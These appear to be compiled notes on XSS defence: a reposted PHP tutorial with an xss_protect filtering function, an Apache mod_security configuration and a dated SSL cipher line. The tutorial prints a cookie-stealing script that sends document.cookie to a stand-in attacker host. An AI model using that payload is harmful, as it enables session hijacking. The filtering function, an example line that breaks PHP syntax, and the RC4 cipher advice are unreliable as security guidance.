主要文档:
关于APACHE设置和PHP的。
PHP的相关函数是要对全站POST或GET方法作编码处理的,而不只是针对报告问题的页面。
APACHE设置又涉及MOD_SECURITY模块。
关于SSL:
SSLCipherSuite RC4-SHA:HIGH:!ADH
![](https://i-blog.csdnimg.cn/blog_migrate/7f85d534fc5f6bf7e6d3bb930671fd30.png)
~~~~~
http://jstiles.com/Blog/How-To-Protect-Your-Site-From-XSS-With-PHP
How To Protect Your Site From XSS With PHP
June 8th 2011
Cross-Site Scripting (XSS) is a type of attack where a hacker attempts to inject client-side scripting into a webpage that others are able to view. The attack could be as simple as an annoying alert window or as sophisticated as stealing a logged in user's credentials (commonly saved in browser cookies). With a user's credentials, a hacker could gain access to sensitive parts of your website or web application. In this simple guide, I'll show you a few ways to protect your website from XSS with PHP.
The Basics Of An XSS Attack with Example
If you allow user input on your site or application (like comments, forums, etc), you could be the target of an XSS attack. The hacker's goal is to submit a comment, forum post, etc with JavaScript code inside and have it executed on the web page. Since these types of user input can immediately be displayed to other user's, the attack could be spread pretty quickly and even without your knowledge. For an example, we'll use comments on my website:
Let's say some hacker comes along (his name is John) and submits a comment with <script>alert('XSS!');</script> in the body of the comment. When John refreshes the page, he sees an alert message pop up that says "XSS!". His attack worked!
All John does in this example is create an annoyance to users; he doesn't actually steal any information. However, since that attack went through so easily, John may be thinking of other things he could do like stealing cookies! In JavaScript, cookies are accessible from the document object (i.e. document.cookie). John could easily send any cookies, of users that visit the page his comment is posted on, to his website by posting the following in the body of the comment form:
<script>document.write("<img src='http://johns-site.com/?cookies='"+document.cookie+"' style='display:none;' />");</script>
Why does that work? When your browser visits a webpage, it downloads any images. If the SRC attribute of an image points to something like the above, your browser will execute it. If John receives cookies that are used to validate a user login, he could use those cookies to gain access to, perhaps, an administrative control panel and do even more damage! Also notice that he set the display property of that element to "none", this makes it so users can't see the image. John could post a valid comment about the article and execute that script without anyone knowing what he's doing! The rule of thumb here is to NEVER TRUST USER INPUT!
How To Filter Out XSS Using PHP
PHP has a couple different functions you can use to filter user input, namely: htmlentities() and strip_tags().
The htmlentities() function translates all applicable characters to their html entity counterparts. For example, using this function < would become < and > would become > (i.e. <script> would become <script>). This function is good for escaping data and might prevent some types of attack, but not all (thanks to IE6). When using the htmlentities function, make sure the second argument is set to ENT_QUOTES, like this:
htmlentities("<script>alert('XSS!');</script>", ENT_QUOTES);
You could use PHP's strip_tags() function to remove any HTML tags, but even this still won't prevent all types of XSS attacks (thanks to hyperlink vulnerabilities - a hacker doesn't need to use the <script> tag in hyperlinks to get JavaScript to execute). So what can you do? You can use PHP to search for "script" and replace it with scri<b></b>pt. Cutting up the code like this will prevent it from executing while still displaying the output.
The XSS_PROTECT Function
Let's create a PHP function that will filter out any data that may have XSS code inside of it:
/**
* Method: xss_protect
* Purpose: Attempts to filter out code used for cross-site scripting attacks
* @param $data - the string of data to filter
* @param $strip_tags - true to use PHP's strip_tags function for added security
* @param $allowed_tags - a list of tags that are allowed in the string of data
* @return a fully encoded, escaped and (optionally) stripped string of data
*/
function xss_protect($data, $strip_tags = false, $allowed_tags = "") {
if($strip_tags) {
$data = strip_tags($data, $allowed_tags . "<b>");
}
if(stripos($data, "script") !== false) {
$result = str_replace("script","scr<b></b>ipt", htmlentities($data, ENT_QUOTES));
} else {
$result = htmlentities($data, ENT_QUOTES);
}
return $result;
}
You can send this function any type of user input and it will return the same input, but fully escaped and encoded. This function first checks to see if the data contains the word "script" anywhere; if it doesn't, it just encodes/escapes the data and returns it. If, however, the stripos function finds "script" somewhere, it encodes/escapes the data and replaces all findings of "script" with scr<b></b>ipt and then returns the modified result.
There are a couple things to notice about this function; first, the stripos function is a way to check the existence of a substring within a string without regards to case (i.e. it will find "script", "sCrIpT" or "SCRIPT"); second, comparing the result of the stripos function to false with "!==", instead of "!=", is important since the stripos function can return a non-boolean value which evaluates to false (like 0 or ""). Using "!==" compares both the types and values while using "!=" compares just the values. See the PHP documentation on the stripos function for more information.
You can optionally specify whether you want the function to strip any HTML tags from the data string by setting the second parameter of the function to true. The third parameter can then be used to specify which HTML tags are allowed in the data string (which becomes the second argument to PHP's strip_tags function).
Here are a comple of examples on how to use this function:
//returns fully encoded/escaped content from comment
$data = xss_protect($_POST['comment_data']);
//outputs: <scr<b></b>ipt>alert('XSS!');</scr<b></b>ipt>
echo xss_protect("<script>alert('XSS!');</script>");
//outputs: click here
echo xss_protect("<a href="javascript:alert(document.cookie);">click here</a>", true);
Never Trust User Input
No solution is going to be perfect, but at least now you have a head start! If you have ways of improving this function, let myself and everyone else know in the comments. Thanks for reading!
From: Sky Chen
Sent: 2013年2月17日 15:56
To: Sky Chen
Cc: Alan Hou
Subject: How to block XSS Vulnerability (Cross-site scripting) in Apache 2.2.x
http://www.unixpearls.com/how-to-block-xss-vulnerability-cross-site-scripting-in-apache-2-2-x/
How to block XSS Vulnerability (Cross-site scripting) in Apache 2.2.x
Periodically we need to block Cross Site Scripting potential security hole in your apache apache. Usually this not necessary, because web application usually control variables which getting from GET or POST requests and completely filtrate it. But sometimes, when we passing PCI Compliance we need to demonstrate our security to auditors.
At first we need to block processing of TRACE and TRACK requests to our Apache, I write in httpd.conf
someting like:TraceEnable off
# Attn! module rewrite required
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
This will block proceeding this methods. We may to block OPTIONS also, but if you have HTTPS version of your site, this maybe not good idea.
So, next step, we need a respond 403 error, to all GET and POST requests which contains strings similar cross site scripting code. In Apache usually I use mod_security. I already had compiled mod_security version 1.x, and just pluged it to my apache, and setup filter. Something like follow code from httpd.confLoadModule security_module modules/mod_security.so
SecFilterEngine On
SecFilterForceByteRange 32 126
SecFilterScanPOST On
SecFilter "<( |\n)*script"
Then I checked configs of my apache and the restart it: # /usr/local/apache/bin/apachectl configtest
Syntax OK
# /usr/local/apache/bin/apachectl restart
#
So, next step I test my site to XXS vulnerability and got "positive result" in my error_log: [Thu May 19 13:09:12 2011] [error] [client 10.100.100.120] mod_security: Access denied with code 403. Pattern match "<( |\\\\n)*script" at POST_PAYLOAD [severity "EMERGENCY"] [hostname "testshop.loc"] [uri "/cart_mod.html"] [unique_id "TdVOuGFKfJ8AAHoXBWYAAAAF"]
Ivan